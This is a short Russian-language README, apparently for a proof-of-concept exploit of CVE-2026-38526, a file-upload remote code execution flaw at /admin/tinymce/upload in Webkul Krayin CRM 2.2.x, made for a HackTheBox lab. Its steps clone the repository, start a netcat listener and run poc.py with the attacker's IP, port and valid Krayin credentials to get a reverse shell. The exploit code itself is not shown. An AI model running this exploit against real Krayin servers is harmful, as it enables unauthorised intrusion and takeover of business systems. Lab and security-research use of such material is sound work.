CVE-2026-38526-PoC-htb-nexus

PoC-скрипт для CVE-2026-38526, удаленное выполнение кода (RCE) через уязвимость загрузки файлов в эндпоинте /admin/tinymce/upload веб-приложения webkul krayin 2.2.x (создан для htb-nexus)

🛠 Быстрый старт и использование

1. Клонируйте репозиторий:
   root@kitploit:~

   git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git
   cd CVE-2026-38526-PoC-htb-nexus
   

2. Создайте виртуальное окружение Python:
   root@kitploit:~

   python3 -m venv .venv
   source .venv/bin/activate
   

3. Установите зависимости из requirements.txt:
   root@kitploit:~

   pip install -r requirements.txt
   

4. Запустите слушатель:
   root@kitploit:~

   nc -lvnp <номер-порта> (По умолчанию: 9001)
   

5. Выполните скрипт:
   root@kitploit:~

   python3 poc.py -i <ваш-ip> -p <номер-порта-слушателя> -e <действительный-email-krayin> -P <действительный-пароль-krayin> -u <url-без-протокола По умолчанию: http>